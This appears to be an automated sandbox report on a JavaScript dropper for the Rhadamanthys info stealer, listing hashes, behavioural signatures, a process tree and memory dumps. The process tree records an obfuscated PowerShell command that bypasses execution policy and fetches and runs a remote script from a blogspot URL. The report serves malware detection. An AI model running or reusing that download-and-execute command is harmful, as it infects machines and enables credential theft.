Analysis

  • max time kernel
    94s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-11-2024 02:44

General

  • Target

    cd4caace5e85b095654b499c34414a1d839ff30bf910993c3ebcdc1fbd9ff2bf.js

  • Size

    80KB

  • MD5

    5eed57a36b459c29a10dbc8458493a26

  • SHA1

    4be4299dc346dc3499adb4b01edd09b339d858a4

  • SHA256

    cd4caace5e85b095654b499c34414a1d839ff30bf910993c3ebcdc1fbd9ff2bf

  • SHA512

    59192b7d17198bf257fe8de35ce9523f61a7eb8495647a784f6b386dfbf60642c5109bc37bccb580e71047d556a5ebf86e7943efe57d9f06c4435e57846732d2

  • SSDEEP

    768:rZQ0foU+Ui73GNNUZZQSYsVxU4Ua4UYdIMfVkArv6rAHcVxEBxVNoYdDBHBqabPg:oC1l2unjA06

Malware Config

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Rhadamanthys family
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Windows directory 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 12 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 8 IoCs
  • Suspicious behavior: EnumeratesProcesses 27 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2656
      • C:\Windows\SysWOW64\openwith.exe
        "C:\Windows\system32\openwith.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        PID:1080
      • C:\Windows\SysWOW64\openwith.exe
        "C:\Windows\system32\openwith.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:332
    • C:\Windows\system32\wscript.exe
      wscript.exe C:\Users\Admin\AppData\Local\Temp\cd4caace5e85b095654b499c34414a1d839ff30bf910993c3ebcdc1fbd9ff2bf.js
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:1472
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;& ('{1}{0}' -f 'ex', 'I') $(irm https://11-14hotelmain.blogspot.com///////chutmarao.pdf);Start-Sleep -Seconds 3;
        2⤵
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:516
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1708
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:1956
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2828
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
            dw20.exe -x -s 912
            4⤵
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            • Enumerates system info in registry
            • Suspicious use of AdjustPrivilegeToken
            PID:4792
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2548
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
            dw20.exe -x -s 912
            4⤵
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            • Enumerates system info in registry
            • Suspicious use of AdjustPrivilegeToken
            PID:4140
        • C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
          "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3656
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
            dw20.exe -x -s 780
            4⤵
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            • Enumerates system info in registry
            • Suspicious use of AdjustPrivilegeToken
            PID:4024
        • C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
          "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3152
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
            dw20.exe -x -s 784
            4⤵
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            • Enumerates system info in registry
            • Suspicious use of AdjustPrivilegeToken
            PID:4680

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\ProgramData\Microsoft\Windows\WER\Temp\WER878.tmp.xml

      Filesize

      4KB

      MD5

      f21d15c399ca7a4ece650f974bfd88aa

      SHA1

      711327cd45e2393ebda844c70e8b219f31bece92

      SHA256

      29b54b924a942e1c52acd8f8c97573c297c412f2fc8b5c9136b3edb8bf82b2c3

      SHA512

      4c79158c75e25421512d17fd2c38f9ec31c0ce631ca17dbbd7a8f8dfdd078e9c1762ba788aec4e8e6e60840654e4635ea700f38a8b90c6ad65b8a47d5dd3daa8

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log

      Filesize

      315B

      MD5

      69acc92e6df5c35cf75eded8f61ddeaa

      SHA1

      b405090a2f92f85490705dcf77a6461ad85e7e20

      SHA256

      da3437f337aca0e1f8d7b187abcd9112d88beddde8ab8ae5aa8a8ab91b6e9698

      SHA512

      9b83a6ef14372d9e229beb69c1b1ede6f348fb51925205f99f705808db6331c5aab32bd57fc786c61647cbb94f7e4bd236dc9f4fc26be4c1ffc7a35e7619a508

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mfvxkz4l.2x3.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/332-74-0x0000000002320000-0x0000000002720000-memory.dmp

      Filesize

      4.0MB

    • memory/332-76-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

      Filesize

      2.0MB

    • memory/332-78-0x00000000764F0000-0x0000000076705000-memory.dmp

      Filesize

      2.1MB

    • memory/516-13-0x000002A06BAC0000-0x000002A06BC82000-memory.dmp

      Filesize

      1.8MB

    • memory/516-81-0x00007FF82BE50000-0x00007FF82C911000-memory.dmp

      Filesize

      10.8MB

    • memory/516-17-0x00007FF82BE50000-0x00007FF82C911000-memory.dmp

      Filesize

      10.8MB

    • memory/516-18-0x00007FF82BE50000-0x00007FF82C911000-memory.dmp

      Filesize

      10.8MB

    • memory/516-19-0x00007FF82BE50000-0x00007FF82C911000-memory.dmp

      Filesize

      10.8MB

    • memory/516-20-0x000002A06AEF0000-0x000002A06AF02000-memory.dmp

      Filesize

      72KB

    • memory/516-21-0x000002A06AF20000-0x000002A06AF3A000-memory.dmp

      Filesize

      104KB

    • memory/516-16-0x00007FF82BE53000-0x00007FF82BE55000-memory.dmp

      Filesize

      8KB

    • memory/516-14-0x00007FF82BE50000-0x00007FF82C911000-memory.dmp

      Filesize

      10.8MB

    • memory/516-1-0x000002A06B390000-0x000002A06B3B2000-memory.dmp

      Filesize

      136KB

    • memory/516-0-0x00007FF82BE53000-0x00007FF82BE55000-memory.dmp

      Filesize

      8KB

    • memory/516-12-0x00007FF82BE50000-0x00007FF82C911000-memory.dmp

      Filesize

      10.8MB

    • memory/516-11-0x00007FF82BE50000-0x00007FF82C911000-memory.dmp

      Filesize

      10.8MB

    • memory/1080-75-0x0000000002690000-0x0000000002A90000-memory.dmp

      Filesize

      4.0MB

    • memory/1080-58-0x0000000000950000-0x0000000000959000-memory.dmp

      Filesize

      36KB

    • memory/1708-30-0x0000000007C40000-0x0000000007CE6000-memory.dmp

      Filesize

      664KB

    • memory/1708-48-0x0000000007E80000-0x0000000008280000-memory.dmp

      Filesize

      4.0MB

    • memory/1708-22-0x0000000000400000-0x00000000004B8000-memory.dmp

      Filesize

      736KB

    • memory/1708-55-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

      Filesize

      2.0MB

    • memory/1708-57-0x00000000764F0000-0x0000000076705000-memory.dmp

      Filesize

      2.1MB

    • memory/1708-47-0x0000000007E70000-0x0000000007E80000-memory.dmp

      Filesize

      64KB

    • memory/1708-28-0x0000000001140000-0x00000000011F8000-memory.dmp

      Filesize

      736KB

    • memory/1708-52-0x0000000007E80000-0x0000000008280000-memory.dmp

      Filesize

      4.0MB

    • memory/1708-46-0x0000000007E60000-0x0000000007E68000-memory.dmp

      Filesize

      32KB

    • memory/1708-29-0x00000000057E0000-0x0000000005872000-memory.dmp

      Filesize

      584KB

    • memory/1956-51-0x0000000007510000-0x0000000007520000-memory.dmp

      Filesize

      64KB

    • memory/1956-61-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

      Filesize

      2.0MB

    • memory/1956-65-0x00000000764F0000-0x0000000076705000-memory.dmp

      Filesize

      2.1MB

    • memory/1956-54-0x0000000007FC0000-0x00000000083C0000-memory.dmp

      Filesize

      4.0MB